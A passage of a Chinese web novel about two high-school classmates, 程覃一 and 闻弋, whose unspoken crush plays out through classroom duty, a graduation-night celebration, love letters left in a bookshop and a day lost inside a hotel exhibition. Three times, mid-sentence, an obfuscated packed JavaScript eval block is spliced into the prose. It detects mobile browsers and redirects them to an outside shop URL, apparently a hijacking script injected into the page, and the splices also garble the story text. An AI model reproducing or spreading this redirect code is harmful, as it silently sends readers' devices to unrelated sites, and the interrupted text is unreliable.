这是他MP3里循环最多遍的歌,也是他曾经送给她的MP3里存着的歌。他不知道她还记不记得。 新学期值日表上程覃一和闻弋的名字排在一起,被安排的任务是擦窗户和黑板,不知道是巧合还是按什么顺序排的,但当程覃一看到时,他偷偷开心了好久。 他订好的音乐才开始放,就下课了,一下课,其他人早就一窝蜂跑了,教室里只剩下程覃一和闻弋,还有其他几个值日生,其他几个人都去拿扫帚铲子,现在,教室里只有闻弋和他了。 很久没有和她独处了,程覃一有些紧张。 音乐响着,越听越紧张。 “Hearitfirstinmyhead(这旋律第一次在脑海里回响) Seeusspinninglikeasilhouette(看着我们翩翩起舞的轮廓) Likedreamerschaseaworldbeyond(像是不断超越世界的逐梦者) Itasteyourtaste,Isingyoursong(我品味着你的风格哼唱着你的歌) Ineedtoknow,needtoknow(我需要知道需要知道)” 他拿着黑板擦,落下的粉笔灰呛人,但程覃一觉得更烦燥的是自己的心。 程覃一听着歌,有点后悔和音乐委员放这首音乐的决定。 这歌会不会太吵了? 或者她不喜欢这种类型? 程覃一硬着头皮转回身,没敢直接看她,假装注意力还在黑板上最后那点没擦干净的公式上,他用板擦机械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593876|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地蹭着,用余光捕捉着她的反应。 音乐在空旷的教室里流淌,填充了每一个沉默的缝隙。 程覃一偷偷用眼角余光瞥去。 她似乎没有什么反应。 换一首? 算了,还是关了吧。 他走向电脑,准备关掉音乐。 就在他拿起鼠标准备要点击关闭时,身后的脚步声近了。 “程覃一,等等!” 她主动跟程覃一说话了! 程覃一心里掠过一丝雀跃。 一股混合着惊喜和紧张的情绪窜上来,冲得程覃一头皮都有点发麻。 他立刻转过身,动作快得扬起了板擦上的粉笔灰。 她微微仰着头看程覃一,眼睛清澈,里面映着窗外夕阳的光,很快又移走。 “什么?” 虽然闻弋主动和他搭话了,但是他不知道她的目的是什么。 “能……能不能别关?我……我想记一下歌名。” 他没按下鼠标按键,看着闻弋拿笔记在一张草稿纸上。 原来她是喜欢刚才那首歌的。 他还以为她不喜欢呢。 程覃一还记得,那首歌也被他下载到他送给她的那个MP3上。 难道她还没有听到他喜欢的歌那里吗? 程覃一又感到一阵失落。 “谢谢。” 她回到了自己的位置上。 闻弋说完谢谢为什么不对他笑呢? 明明他每次都会看见她对每个人说谢谢都会笑的,她会对林满笑,会对晏子钦笑,会对军训那晚被她叫起来的眼镜男,也是他们班的生活委员章卓笑,可偏偏,他从来没有得过那样的笑容。 他有那么讨厌吗? 他把歌设置成循环播放,用板擦把那顽固的公式擦掉后,回到自己的位置,内心因为闻弋没有对她笑有些难受。 歌词充斥着他的大脑。 “Hearitfirstinmyhead(这旋律第一次在脑海里回响) Seeusspinninglikeasilhouette(看着我们翩翩起舞的轮廓) Likedreamerschaseaworldbeyond(像是不断超越世界的逐梦者) Itasteyourtaste,Isingyoursong(我品味着你的风格哼唱着你的歌) Ineedtoknow,needtoknow(我需要知道需要知道)” …… “Itasteyourtaste,Isingyoursong……” 他抬头看着左前方的女孩。 她现在正在听着他喜欢的歌,可却不能触及到她的心,想到这程覃一心又起了一阵落寞。 但程覃一很快又调理好心情,只要每天都能看见她就行了,总有机会,总会越来越近。 “Ineedtoknow,needtoknow(我需要知道需要知道) Sweartomeyou''renotaghost(我要你对我发誓你不是幽灵) Throughparadiseorhellyouknow(穿越天堂还是地狱你知道) Youcangoon,goon,goon,goon,goon(你可以奋不顾身) Youcangoon,goon,goon,goon,goon(你可以奋不顾身) Justtakemewithyou(只要带上我一起前行)” 大概过了七分钟,太阳彻底落下。 闻弋起身离开教室。 程覃一聆听着远去的脚步声,随后把多媒体关了,背起自己的书包,关灯关门。 闻弋没有走多远,像是特地放慢了脚步等着后面的人。 程覃一不敢多想,他怎么敢想是闻弋在等他呢? 走廊里暖黄的灯光倾泻在大理石地板上,将她的影子拉得很长,蔓延到他的脚尖。 他继续走着,所有的注意力都聚焦在前方那个纤细的背影上,周围的世界都已模糊褪色,只剩下她,和这七步之间,难以跨越的距离。 19. 迷路(弋) 高三生结束高考后的傍晚,空气里全是躁动不安的炎热。 高一的学生在高三生高考完后,又被学校召回了学校,参加市里统一的大考,然后放三天的假。 高三的教学楼在高一高二的对面,平时那边有什么声音都能传到高一这栋楼。 有时候,高一的学生就喜欢站在走廊上,眺望对面埋头学习的高三生。 “还有两年,我们也会坐在那里。”有同学说。 高三生在学校的最后一晚,要举行毕业晚会。 他们从下午就开始准备,而闻弋他们则在进行放假前的最后一场考试。 载着书籍的小车轱辘磨地板的声音、毕业后的嬉笑声,还有音乐声,隔着两个花园传入还在考试的高一学生的耳中。 最后一场考试结束后,闻弋和林满无心吃饭,去小卖部随便买了个面包。 她们靠在走廊冰凉的瓷砖拦墙上,和对面的高三教学楼的毕业生遥遥相望。 那边与这边的沉闷截然不同,像一锅即将煮沸的水,喧嚣声即使隔着几十米的距离也清晰可闻。 “唉,一年真的好快啊,没想到他们就毕业了。”林满趴在拦墙上,一脸哀愁。 “是啊,感觉我才上高中呢,怎么就要高二了。”闻弋咀嚼着口中的的面包,也感叹着时间的流逝。 教室里没什么人,他们大都去食堂吃饭了,班主任从走廊那边走来,大喊了一句:“闻弋!林满!怎么不去吃饭?” 闻弋转过身去看是谁在叫她的名字,看到是班主任,吓得手里面包快掉了。 “老师,我们……” 林满急忙要解释,但是被班主任打断了。 他循着闻弋她们刚才看的方向看过去,点了点头,说:“原来是在看对面的毕业生啊,时间很快的,别羡慕,一眨眼,你们也会解脱的,不过,这可不是你们不吃饭的理由哈……” “老师,我们下次会好好吃饭的。”闻弋低下头,向老师做保证。 “下不为例,对了,今晚不放假,延迟到明天,待会和班长说一下,让她通知大家别着急去收拾行李,”班主任满脸笑容,“一中有个规定,高一生陪高三生参加毕业晚会,今晚留下来唱歌。” 班主任哼着小曲离开后,林满垮下脸来,一脸沮丧。 按照计划,待会儿班上的人集中交代一下注意事项就能放假回家了,但是现在突然改变了计划,盼望着放假的林满心里就不太好受。 “唉,我不想唱歌,我想回去玩手机。”林满又趴在台上。 对于闻弋来说,回家并不是她向往的事,回家意味着要面对母亲的责骂,她实在想不出家里有什么值得她回去的,她宁愿待在宿舍里看一整天的书。 班长得知消息后,在大家都到齐时告诉了留校这个消息,大家哀嚎,都觉得高三毕业和他们没有关系,看着他们解脱幸福了,可自己还要留在这待两年,谁能开心呢? 周五傍晚的高一的教学楼罕见地灯火通明,高一的学生被通知先上一会儿的自习,然后再等活动开始。 班上总是传来一阵阵的声音,闻弋知道,大家都有些坐不住。 “闻弋,你看,”同桌戳了戳闻弋,指着窗外的天空,“好漂亮啊,是粉色的。” 闻弋抬头望去,那是一片铺天盖地的粉,她从来没有见过这样的晚霞。 明明太阳已经落下了,快没有光了,可天就是那样的粉,粉得疯狂,粉得热烈,似乎也在为这群高三生庆祝。 光变得柔和,世间万物的轮廓都被这层粉色的滤镜模糊了边缘,教学楼、树木、毕业生的一切,都仿佛蒙上了一层粉。 班上开始有了声音,不少同学往窗外看,心里就像揣了只兔子,耳朵全都竖着,捕捉着对面楼里的任何一丝异动。 对面的声音越来越大。 桌椅挪动的声音、脚步杂沓的声音,最后,在某个的瞬间,轰然炸开。 对面楼的几个窗户瞬间被黑压压的人头填满。 最先冲入视野的,是雪片。 “他们在扔书!”班上有个男生惊呼了一句。 那也许是他们的试卷,也许是课本的某一页,也许是写满了公式和笔记的纸张。 它们被那群高三生奋力地从每一个能抛出的窗口抛出,挣脱了知识的条条框框,在空中舒展开身体,打着旋儿,覆盖了楼下的梧桐树和水泥路面,有一些甚至飘到了花园里,风再大一点,说不定还会落在某个高一学生的头上。 然后,是尖叫声。 一种混合解脱后的狂喜,也许还有悲伤的嘶吼与尖叫。 站在走廊上的他们挥舞着手臂,对着天空,对着对面的高一学生,对着这三年来所有的晨昏与压力,放声大喊。 甚至有人把校服外套脱下来,在头顶拼命挥舞,像一面庆祝结束的旌旗。 高一的教学楼也开始沸腾了。 不知是谁先带的头,大家都挤到了走廊的拦墙旁,指着对面,惊叹,起哄,甚至带着点懵懂的羡慕。 “我也好想毕业啊!”闻弋身旁的一个女孩对她的朋友说。 “还有两年,很快的。” 很快又是多快呢? 闻弋低下头,思索着这个问题。 突然有人大喊了一句:“看对面楼顶!看对面楼顶!” 闻弋的目光下意识地向上移,落在了对面楼的顶层天台。 光线昏暗,但她依稀能看到两个紧挨着的人影。他们靠得极近,似乎在低语,然后,其中一个身影微微低头,他们拥抱在一起,最后,亲在了一起。 “有人在接吻!”不知这声音从哪传来的。 耳边响起惊呼声、起哄声。 “别看,少儿不宜!”闻弋左前方的一个男生捂住了一个女生的眼睛。 “还好他们毕业了,不然今晚就上通报公告栏!” “胆子真大!” “我的天!好勇敢!” …… 闻弋的心莫名一跳,下意识地想移开视线,却注意到他们旁边那间教室的灯光“啪”地一声熄灭了。 就像是打开了什么开关,那一层的光线接连暗了好几处,292班教室的灯也暗了下来,走廊里的感应灯任凭走廊里有多吵也没在亮起来。 “停电了吗?”周围有同学问。 “不是说待会儿还要用广播唱歌吗?” “应该不是停电吧?操场上的灯还亮着呢。” …… 光线彻底暗下来,可天的灰还夹带着那层粉,久久不去。 闻弋凭借着那点粉反射的光,隐约可见更多的人影在昏昧中晃动,混乱,似乎还带着一种末日般的激情。 “啊!好像世界末日!” “你看过《怪奇物语》吗?现在就像是《怪奇物语》的场景。” 微弱的光让对面顶楼的那对情侣看起来更加暧昧。 闻弋的目光离开那对忘情的小情侣,扫视着对面的每一层楼。 有人为了看那对小情侣,挤到她前面,还将她往后推了一把,闻弋不受控撞上了一个人。 “对不起。”她慌忙转身。 是程覃一。 黯淡的光线里,他的眼睛亮晶晶的。 他似乎也是被人群挤到了这边。 他静静地看着她。 闻弋慌乱撇开头。 一时之间,两人都没有再说话。任何的言语在对面那场盛大而混乱的告别面前,都显得不合时宜。 他们被人群挤着,胳膊贴着胳膊,要是稍不小心,就会碰到彼此的手,但他们就这样并排站着,共享着这一小方沉默的空间。 闻弋目光重新投回对面那栋沸腾的楼。 就在这时,校园里广播系统,“刺啦”一声响后,流淌出熟悉的钢琴前奏,是《剩下的盛夏》。 “那灯是老师故意关的吧?” “哇,这样唱歌更有氛围感了!” 歌声响起的瞬间,仿佛按下了暂停键,又旋即按下了同步键。 高三那边的尖叫和喧哗低了下去,取而代之的是越来越清晰、越来越整齐的合唱。 很快,高一这边也被感染了,开始有人跟着哼唱,声音从小到大,从杂乱到统一。 “蝉鸣是窗外渐渐倒数的钟声,考卷的分数是往上爬的树藤……” 闻弋听见身边有人在小声跟唱,她也忍不住轻轻动了动嘴唇,但是没有发出一点声音。 她不太会唱这首歌。 她装作看旁边拥挤的人群,偷偷看了一眼站在她身旁的程覃一,他依旧沉默着,目视前方。 两栋楼,一群即将各奔东西,一群未来尚且模糊,此刻却在这首属于青春的歌里,达成了短暂的共鸣。 闻弋看着对面纷飞的纸片,黑暗中相拥的人影,再从喧闹里感受着身边男孩安静的呼吸,觉得这个夜晚,奇异得像一个光怪陆离的梦。 歌声在夜空下飘荡,覆盖了疯狂的痕迹,包裹了所有无声的心事。 高三生狂欢的代价,最终落在了高一学生头上。 第二天,年级组下达了任务:高一每个班分包区域,负责清理高三教学楼前那片狼藉的“战场”。 “原来把我们留在学校是为了打扫卫生啊,我还以为是真想让我们陪他们玩呢?”闻弋同桌趴在桌子上,垂头丧气地说。 清晨的阳光照射在满地狼藉的纸片上。 昨夜的疯狂褪去,只剩下废纸,混杂着泥土和被踩踏的痕迹,安静地躺在那里,宣告着一段青春的落幕。 闻弋戴着一副一次性手套,和林满分在了一组,埋头清理着花园的草坪和水泥地交界处堆积如山的书本试卷。 “我的天,这帮学长学姐是搬空了半个书店吗?”林满一边费力地把一沓浸了水的试卷塞进大号垃圾袋,一边抱怨着,“也太能扔了。” 闻弋没说话,只是默默地将散落的书本归拢。 她碰到一本硬壳的笔记本时顿了顿。笔记本的封面很精致,摊开着,内页里夹着的几页信纸散落了出来,娟秀的字迹暴露在阳光下。 那明显是一封情书。 “……偷偷看你打篮球的第四百六十八天,你投进三分球笑起来的样子,比夏天的太阳还耀眼……”林满凑过来,念出了几句笔记本上的话,随即“哇”了一声,兴奋地压低了声音,“快看,还有这个!”她从那堆书本里又抽出几个颜色各异的信封,“好多啊!你说这是她们自己扔的还是她们暗恋的人扔的?。” 她们蹲在地上,像是考古学家发掘着一段被遗弃的青春秘密。 那些直白或含蓄的文字,那些忐忑的心事、无望的暗恋,或许曾有过的短暂甜蜜,最终都和这些废纸一起,被毫不留恋地抛弃了。 林满捏着一封散发着淡淡香味的信笺,忽然有些感慨,“暗恋一个人,到底是什么感觉啊?像这样,写这么多信,但可能一封都没送出去过,或者送出去了但被拒绝,她们会怎么想?” 闻弋的心像是被轻轻撞了一下。 她抬起头,目光下意识地越过嘈杂的清扫人群,望向了教学楼的方向。 她的脑海清晰地浮现出昨晚那个沉默的侧影,那个在混乱与歌声中,与她共享了片刻寂静的程覃一。 他当时在想什么?他听到那首歌时,心里是否也有一丝波动?那个意外的碰撞,他是否还记得? “大概就是……”闻弋收回目光,看着手中那页写满了心事的信纸,声音很轻,“明明周围有很多人,很吵,但你的眼睛总会不由自主地去找那一个人。看到了,心里会慌,会偷偷开心;看不到呢,又会有点失落吧……” 就像昨晚,在那样盛大而混乱的喧闹下,她撞到他之后的沉默,以及那并排站立时贴着的胳膊,都让她的心慌,与周围狂欢的氛围格格不入,像梦,可就是现实。 林满若有所思地点点头,没有察觉闻弋的走神,继续感慨:“把这些都扔了,是不是就算告别了?” 闻弋没有回答。她只是将散落的情书小心地归拢,连同那本笔记本,一起放进了另一个干净的口袋里。 这些被主人丢弃的秘密,或许会被运往某个废品回收站,或许会被某个不相干的人偶然看到,唏嘘一番。 “林满,要不我们把这些情书送到学校旁边的书店里放着吧。” 闻弋学校旁边有一个书店,经常会有学生去那里写下一下自己的心事,有家庭,有友谊,也有青春的那一点悸动…… 闻弋想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599517|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也许青春里的那些暗恋,不应该埋在垃圾场里,也许它们可以被贴在书店墙上,然后某一天,故事里的主人公会发现它们。 “好啊!”林满爽快地答应了,然后弯腰又开始拾捡那些被遗弃的青春故事。 高三生毕业后,高一没过多久也就放假了。 放假那天,空气依旧炎热。 高一的最后一堂课,班主任通知,市里为了丰富学生假期生活,在市里最大的国际酒店举办了一个综合性的青少年交流活动,涵盖科技、艺术展览和一些趣味讲座,鼓励大家自愿参加。 他还给每个人发了一张入场票。 “去嘛去嘛闻弋!”下课后,林满立刻追了过来,声音雀跃,“晏子钦说他也要去,我们一起去看看呗,反正待在家里也无聊。” 最近一次换座,林满被调到了晏子钦前面,和晏子钦熟悉了不少,课间时常能听到他们凑在一起讨论题目或者闲聊。 如果晏子钦去了,那程覃一呢?程覃一会去吗? “你约了哪些人去了?”闻弋问林满。 “晏子钦说,他会约程覃一去,其他的,还没想好,不过也没几个人,你不用尴尬,晏子钦自来熟,程覃一嘛,就比较内向,不过不用管他……”林满向闻弋解释。 闻弋对这类大型活动本没什么兴趣,但是一想到程覃一也许会去,最终还是答应了。 活动那天,s市国际酒店果然气派非凡,水晶吊灯折射出璀璨光芒,衣着光鲜的人们穿梭不息。 她们在门口和晏子钦汇合,晏子钦身边还站着一个人,是程覃一,他穿着简单的白色T恤和黑色运动裤,站在喧闹的人群里,依旧带着那种安静的疏离感。 “嘿,程覃一也来了,人多热闹点。”晏子钦笑着解释道。 程覃一只是对着闻弋和林满点了点头,算是打过招呼。 酒店太大了,活动区域分布在不同楼层,像一座迷宫。他们随着人流看了几个科技展位,又在一个艺术角停留了片刻。 中途闻弋去了一趟洗手间,出来时,原本等在门口的林满和那两个男生却不见了踪影。 她站在原地等了几分钟,拨打电话也是无人接听,大概是人声嘈杂没听见。 看着周围完全陌生布局又颇为相似的回廊和展厅,闻弋心里开始有些发慌。 她试着按记忆往回走,却越走越觉得不对劲,周围的标识变得陌生,仿佛闯入了另一个区域。 正当她站在一个十字通道口,犹豫着该往哪个方向时,一个略显清冷的声音在身后响起:“迷路了?” 闻弋猛地回头,看到程覃一不知何时站在了她身后。 “嗯……”闻弋有些窘迫地点点头,“林满他们……不知道去哪儿了。” “电话打不通?”他问。 “没人接。” 程覃一似乎也并不太意外,他看了看四周:“我也跟他们走散了。一起找找看吧,或者找找出口。” 两人结伴在这巨大的迷宫里寻找起来。 气氛有些微妙的尴尬,他们时不时地搭句话。 “好像是往这边走过?” “不太确定,这个厅刚才好像没见过。” “人太多了。” “嗯。” 寻找的过程并不顺利,反而像是在迷宫深处越陷越深。 不知怎么走,他们拐进了一个宽敞、顶棚很高的大厅。 与之前那些充斥着青少年和科技产品的区域不同,这里几乎全是坐在板凳上的孩子和家长,前面的台上有主持人在介绍着什么教育产品。 “一年只需要436元,一张卡,让你的孩子成为……” 这里显然不是他们该来的地方。 “这里……好像是宣传儿童教育产品的地方?”闻弋有些不确定地小声说。 “接下来我们有几部电影介绍然后进行投票,从这几部里选出一部来看……”前面主持人的声音传来。 要放电影了? “想看《疯狂动物城》的举手!”举手的人挺多的。 “想看《宝葫芦的秘密》的举手!”人更多了。 说实话,闻弋还没看过《宝葫芦的秘密》。 “那就看《宝葫芦的秘密》!”主持人宣布结果。 程覃一看了看周围,又抬头望向屏幕,提议道:“要不我们就在这里看一会儿?说不定林满他们发现我们不见了,会找过来,或者等电影结束,跟着人流出去应该能找到主出口。” 巨大的屏幕上开始播放《宝葫芦的秘密》。 似乎也没有更好的办法。闻弋点了点头。 他们在人群边缘找了两个空位坐下。 电影的光影在他们脸上明明灭灭,周围是孩子们纯真的笑声。 这与他们原本要参加的活动格格不入,却意外地提供了一个可以暂时歇脚、不用费力寻找话题的空间。 而且放的还是电影,还是闻弋没看过的电影。 坐下后,闻弋偷偷瞟了一眼身边的程覃一,他坐姿放松,目光落在屏幕上,看起来真的在看电影。 她也渐渐放松下来,将注意力投向那个奇幻的世界里。 时间在精彩的剧情中悄然流逝。 闻弋已进入电影剧情,就完全沉浸在里面,也没再管身旁的男生。 电影结束时,灯光亮起,人群开始喧闹着退场。 他们站起身,随着庞大的人流缓缓移动,果然很顺利地来到了酒店的主大门口。 刚走到门口,就看到林满和晏子钦从另一个方向跑来。 林满脸颊红扑扑的,带着玩疯了的兴奋和一丝歉意:“哎呀!闻弋,程覃一!对不起对不起!我们刚才看到一个特别好玩的全息投影游戏,人太多了,一挤就走散了,打你们电话也没信号!你们去哪儿了?” 闻弋和程覃一对视了一眼。 “没去哪儿,”闻弋轻轻呼出一口气,“就是……看了场儿童电影。” “什么电影?”林满挽住闻弋的手。 “《宝葫芦的秘密》,还挺好看的。”闻弋边走,边低着头看鞋子。 闻弋会将这天一直记在心里。 二零一九年八月七日,她和程覃一看了一部电影。 20. 迷路(一) “今晚不回家,留下来陪毕业生开晚会!”班长在所有人到齐后大声宣布这个消息。 教室里瞬间涌起一片嚎叫。 “真无语!高三毕业和我们有啥关系!”晏子钦狠狠锤了一下桌板,声音大到引前排的人纷纷转过头来看发生了什么。 对于程覃一来说,放不放假无所谓,他更喜欢待在学校里,因为有闻弋在。 他朝着靠窗的闻弋看去,想看看她是什么表情。 看起来,她似乎也没有那么想回家。 “行了,安静,先做一会儿作业,等通知。”班长做了一个安静的手势,教室瞬间安静下来。 大家都开始安安静静写习题,但是对面高三教学楼喧闹的声音不停传过来。 程覃一打算做一个物理大题,但是旁边的晏子钦按捺不住,东望望西瞟瞟,就是不静下来写作业,害得程覃一也没有心思写题了。 晏子钦从窗外瞟去,突然惊呼一声,用力拐了一下程覃一的胳膊,说:“看窗外!” 程覃一一脸不解,朝窗外瞟去,映入眼帘的是一片粉红色。 “怎么了?”程覃一依旧不解,他还以为是不是外面发生什么事了。 “漂不漂亮?” 程覃一又转过头看了一眼,但目光是放在闻弋的身上,窗外的晚霞把她映衬的格外漂亮。 程覃一沉默了许久,点了点头,说:“漂亮。” “我从小到大还没见过这么漂亮的晚霞。” 程覃一收回目光,幽幽跟着附和了一句。 他从小到大,确实还没见过像闻弋这样漂亮的女孩子。 对面的躁动声越来越大。 甚至能感受到高一这栋楼也在振动。 “有人扔书!”不知道从哪个班传过来一句话。 班上的同学都往窗外看。 程覃一慢悠悠瞟了一眼,白花花的一片。 有一个人跑出去看热闹,接二连三最后一堆人跟着跑出去,其他班的人也都纷纷跑到走廊上。 晏子钦把看起来漠不关心的程覃一揪起来,揪到教室外。 看见闻弋后,程覃一索性就留在外面听这场与他无关的热闹,然后欣赏站在左前方的闻弋的后脑勺。 他看得入神,人群中突然传来惊呼声。 说是什么有人在楼顶接吻。 程覃一还在紧紧盯着左前方的女孩。 他看见她往楼层那边看去,然后又快速低下头。 程覃一心里噗嗤一笑,她慌乱地逃离显得她更可爱了。 大家都喜欢看刺激的东西,一听见说有人在接吻,纷纷朝前挤。 程覃一被人流推搡着。 他回头让那些人别挤,但是那些人都好像听不见似的。 他打算从侧边绕开,但侧面一股更大的力量猛地撞了过来。 猝不及防,身体失去平衡,撞上了一个温软的身体。 “唔……对不起。” 他低头,对上了一双因惊吓而微微睁大的眼睛。 是闻弋。 她显然也被人挤到了,脚步踉跄。 他们之间本来只有一群距离,已经够进了,不知道谁又挤过来,两人之间的距离瞬间消失,他的胳膊紧贴着闻弋的胳膊。 隔着两层布料,他能感受到那下面的柔软。 周围是鼎沸的人声,同学们的抱怨声、笑闹声混杂在一起,吵得人头昏脑涨。 他紧张得喉咙发干,面对她的道歉,话却说不出来。 他垂下眼,目光不受控制地落在她身上。 她似乎也僵住了,一动不敢动。 他能闻到她身上淡淡的清香。 他的视线贪婪地扫视着她,偷偷地。 真好看。 他的心,跳得更快了。 “到底要干嘛啊?”后面传来不耐烦的声音,似乎是在抱怨怎么还不开始。 那个同学话音刚落下,广播就响起了声音。 是《剩下的盛夏》,程覃一还记得,这首歌他下在了送给闻弋的MP3里。 他垂下眼睛看着旁边的女孩子,借着微弱的光亮,他看见闻弋的嘴巴在动。 所以她真的听了? “……枫下的秋千盛夏的暗恋 我们说过要永远在对方身边 走廊的光线剪影的校园 即将是从前……” 还有两年的时间,两年后的今天,他们还会像现在这样吗? 程覃一没想到会在学校旁边的家书店里看见闻弋。 那天他们收假回学校,通校生收假这天可以不用来学校上晚自习,但是程覃一还是会来,这样就能多一点时间和闻弋在同一空间里相处。 程覃一打算去书店买一套下学期要学的数学练习题,没想到一抬头就看见闻弋和她朋友林满站在书店门口。 她背着一个颜色简单的帆布包,正推开学校旁边那家“墨香书屋”的玻璃门。 书店里很安静,只有零星几个学生模样的顾客在书架间徘徊。 看见闻弋要进来后,他立刻走到另一面书架后,不想让闻弋她们看见他。 他透过书架看见闻弋和她朋友走到靠里的那面“心情墙”旁边。 那面墙上贴满了各式各样的便签和信纸,是学生们分享心事、留下寄语的地方。 她背对着他,仰着头看着那面贴得密密麻麻的墙,似乎在寻找合适的位置。 然后,他看见她从帆布包里拿出了几张纸。 距离有些远,他看不清信纸的内容,但从那个形制和颜色,他能看出是写表白信常用的纸,他初中收到过好几次这样的纸张,他再清楚不过了。 所以那是信纸。那是给谁写的信呢?她喜欢的人吗?可她喜欢的人是谁。 程覃一的目光死死盯在闻弋的动作上。 她踮起脚尖,小心翼翼地将那几张信纸贴在了墙面一个稍微空阔些的地方。贴好后,她并没有立刻离开,而是站在那里,静静地看了好一会儿。 那专注的侧影,仿佛在完成一件极其郑重的事情。 所以到底是写给谁的信,她看起来真的好在意那几封信! 几分钟后,闻弋终于转过身,低着头和林满说话,两人说说笑笑快步走出了书店。 玻璃门轻轻合上,隔绝了外面的热。 看到闻弋她们走好远后,程覃一立刻从书架后走了出来,急切地走到了那面心情墙前。 他的目光快速扫过闻弋刚才停留的地方,很容易就找到了那几张与周围有些褪色的便签截然不同的信纸。 他走近几步,心脏在胸腔里不受控制地加速跳动。 信纸是淡粉色的,上面的字迹很漂亮。 这是闻弋的字吗? 他拼命回忆那个夏天闻弋的字。 可越想越模糊,混合着眼前的字,他似乎也有些分不清了。 这到底是不是她的字啊? 感觉不是很像,可万一她的字又变了呢? 他仔细看着信纸上的内容,没有署名,只有一个开头: “致L:” “也许你永远不会知道……” “那天在走廊上,你不经意间的回头……” “你打篮球的样子……” “你安静看书时的侧脸……” …… 几行字,像烧红的钢针,狠狠扎进他的眼底,刺得他眼睛生疼。 L?是谁? 篮球? 他也打篮球?还赢了? 程覃一细想自己参加篮球队后一直拿第一,难道是他所在的篮球队的? 他把篮球队的队员名字都想了一个遍,也没从他们那些姓啊名啊里找出个“L”。 难道是代称? 程覃一心里起了一阵又一阵的落寞。 所以,她那么回避自己,是因为她有喜欢的人了? 原来她心里,早就住着另一个人。 那个她小心翼翼珍藏的人,那个让她要特意送来书店保存的人…… 他站在原地,一动不动。 书店里的冷气好像开得太足了,让他觉得四肢都有些冰凉。 周围书架上的书籍似乎都变成了模糊的背景,只有那几页淡粉色的信纸,灼烧着他的眼睛。 他最后看了一眼那几张信纸,像是要把那些内容刻进心里,又像是想要彻底忘记。 然后,他转过身,脚步有些虚浮地走出了书店。 下午的阳光明晃晃的,照得他有些头晕。胸口像是堵了一团湿透的棉花,沉甸甸的,闷得他几乎喘不过气。 他今晚不想回学校了。 放暑假的前一个月,班主任说先提前换一下座位,以免下个学期来忘记了。 292班换座是按成绩排名来换的,成绩排前面的先选座位。 程覃一这次考试不太妙,一下子落到班上四十多名,自然也不能想选哪个位置就选哪个。 不过晏子钦倒是进步了不少,他还是选了原位,他还示意程覃一,说会给他占着那个位置。 自从知道闻弋心里有了一个暗恋的人后,程覃一就开始克制自己不要去看她,不要去想她。 可是有时候就是控制不了。 闻弋身上就像有什么一直在吸着他,他克制不住自己的心和眼睛。 苦恼了好久,最后索性接受自己就是喜欢闻弋忘不了闻弋这个事实。 闻弋考得很好,她这次考了班上第二名。 不过她也选了原位,仍然是四组靠窗那个位置。 程覃一位置附近没太多变化,唯一变化是,闻弋的朋友林满被调到了晏子钦的正前方。 两个自来熟的话唠就像是相恨见晚,一见面就哗啦啦讲个不停。 起初,程覃一对此并无感觉,甚至有些嫌晏子钦和林满课间的闲聊打扰了他做题的清静。 为了屏蔽他们的吵闹,程覃一开始戴上来耳机。 直到某一天,他耳机里的听力恰好播完,下一首尚未开始的间隙,晏子钦带着点好奇的声音传了过来:“哎,林满,感觉你朋友好内向啊。” “谁?你说哪个朋友?闻弋吗?” 程覃一准备按下播放键的手指,悬在了半空。 晏子钦点了点头。 林满看了看坐在四组安静写作业的闻弋,回过头,叹了口气,声音压低了些:“别提了,闻弋她妈管她可严了,估计就是因为这个,她不怎么爱说话。” 说实话,程覃一第一次见到闻弋时,倒不觉得她很内向,反而还有些外向,现在想起来,估计那是一种压抑罢了。 自从林满和晏子钦聊过闻弋之后,他就减少了戴耳机的频率。 他开始捕捉着那两个声音的内容,就像一个潜伏在暗处的窃听者。 林漫有时候会说她们宿舍的趣事。 从林满口中,他知道了她晚上回宿舍后,会打着手电筒偷偷看一会儿从图书馆借来的小说。 还知道她喜欢食堂三楼的青椒土豆丝。 他还知道了她不喜欢回家。 这些又琐碎又微不足道的信息,像一块块失落的拼图,被他悄悄拾起,珍重地收藏在心底。 晏子钦和林满依旧吵吵闹闹,有时为了一道题争论不休,有时分享着班级里最新的八卦。 很快,一个月就过去了,他们迎来了高一学年的最后一天。 班主任给他们分发暑假里一个活动的入场票。 一下课,林满就和晏子钦商议着要去玩一玩,还问程覃一去不去。 “就我们三个人吗?”程覃一漫不经心地问,装作一副不太想去的样子。 “我打算还想邀闻弋去,不过不知道她能不能去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611660|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林满犹豫地说。 “所以程覃一你到底去不去?闻弋去了也没事啊,反正你又不爱说话,都是同学,不尴尬……”晏子钦说。 “那行吧,我去。”程覃一摆了摆手,看起来就像是晏子钦逼着他去的。 闻弋那么好的人,肯定会答应林满的。 不过闻弋要是没去也没关系,他就当作又浪费了一天吧。 